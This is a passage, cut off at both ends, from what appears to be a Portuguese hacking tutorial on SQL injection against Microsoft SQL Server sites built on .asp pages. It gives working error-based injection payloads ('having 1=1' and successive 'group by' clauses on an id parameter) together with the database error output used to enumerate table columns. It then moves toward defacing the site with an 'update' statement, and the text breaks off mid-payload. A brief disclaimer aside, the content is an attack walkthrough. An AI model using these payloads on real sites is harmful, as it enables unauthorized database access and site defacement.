abordar na revista, por estar morta e por ter conteudo sobrando pela internet...Mas e isso!Lembrando que nao estou incentivando ninguem a cometer qualquer ato comprometedor, anti-etico ou ilicito, e assim, me isento de qualquer responsabilidade. E muito mais inteligente avisar o administrador que o site dele esta vulneravel. O triste e fazer isso quando o administrador e o dono do site sao a mesma pessoa, e ainda por cima, um web master, como ja aconteceu comigo...SQL ServerO SQL Server e um produto da Microsoft, sendo assim geralmente roda sob paginas .asp e obrigatoriamente, roda em Windows, ja que creio que a Microsoft nao vai criar uma versao da sua plataforma para o GNU/Linux...Considero-o mais facil de se explorar que o MySQL, nao que o adversario seja dificil de explorar, mas falhas em SQL Server permitem causar mais estragos mais facilmente. Posteriormente veremos o motivo.O esquema de verificacao de vulnerabilidade e semelhante ao das plataformas MySQL, a aspa simples e a aspa dupla e em alguns casos, parenteses e outros caracteres comuns de fechamento. Bom, se nao tinha se ligado nisso...Nos primeiros passos o que mudam sao os erros.Novamente, tentando fechar a string utilizando uma aspa simples, comhttp://site.com.br/noticias.asp?id=null, recebemos:-Unclosed quotation mark before the character string .-Ao contrario do MySQL que e muito comum inserirmos aspa e nao retornar nenhum erro, e mesmo assim o site estar vulneravel, no SQL Server e comum exibir o erro na cara dura. MySQL 1 x 0 SQL Server.No SQL Server, vamos trabalhar um pouco diferente do que no MySQL, e podemos explorar diretamente a tabela em que estamos:http://site.com.br/noticias.asp?id=null having 1=1 Surge algo tipo:-Microsoft][ODBC SQL Server Driver][SQL Server]Column noticias.id isinvalid in the select list because it is not contained in an aggregatefunction and there is no GROUP BY clause.-Assim, conseguimos uma coluna da nossa tabela!Para descobrir mais sobre a tabela das noticias, utilizamos a clausula group by. Assim, injetamos:http://site.com.br/noticias.asp?id=null group by noticias.id having 1=1 -[Microsoft][ODBC SQL Server Driver][SQL Server]Column noticias.titulo isinvalid in the select list because it is not contained in an aggregatefunction and there is no GROUP BY clause.-Agora, atras do .asp?id=:null group by noticias.id,noticias.titulo having 1=1 -[Microsoft][ODBC SQL Server Driver][SQL Server]Column noticias.texto isinvalid in the select list because it is not contained in an aggregatefunction and there is no GROUP BY clause.-null group by noticias.id,noticias.titulo,noticias.texto having 1=1-[Microsoft][ODBC SQL Server Driver][SQL Server]Column noticias.autor isinvalid in the select list because it is not contained in an aggregatefunction and there is no GROUP BY clause.-null group by noticias.id,noticias.titulo,noticias.texto,noticia s.autor having 1=1 -[Microsoft][ODBC SQL Server Driver][SQL Server]Column noticias.data isinvalid in the select list because it is not contained in an aggregatefunction and there is no GROUP BY clause.-Acabamos. Se executarmos isso:null group by noticias.id,noticias.titulo,noticias.texto,noticia s.autor,noticias.datahaving 1=1 -The text, ntext, and image data types cannot be compared or sorted, exceptwhen using IS NULL or LIKE operator.-Sobre esses group by nos podemos, ao inves de utilizarnoticias.id,noticias.etc, podemos tambem usar simplesmente id,etc, ou seja, nao colocamos a tabela na frente. Porem, se existir a mesma coluna em outra tabela, com certeza teremos erros.Agora, se quisermos, ja podemos fazer um defacement:null update noticias set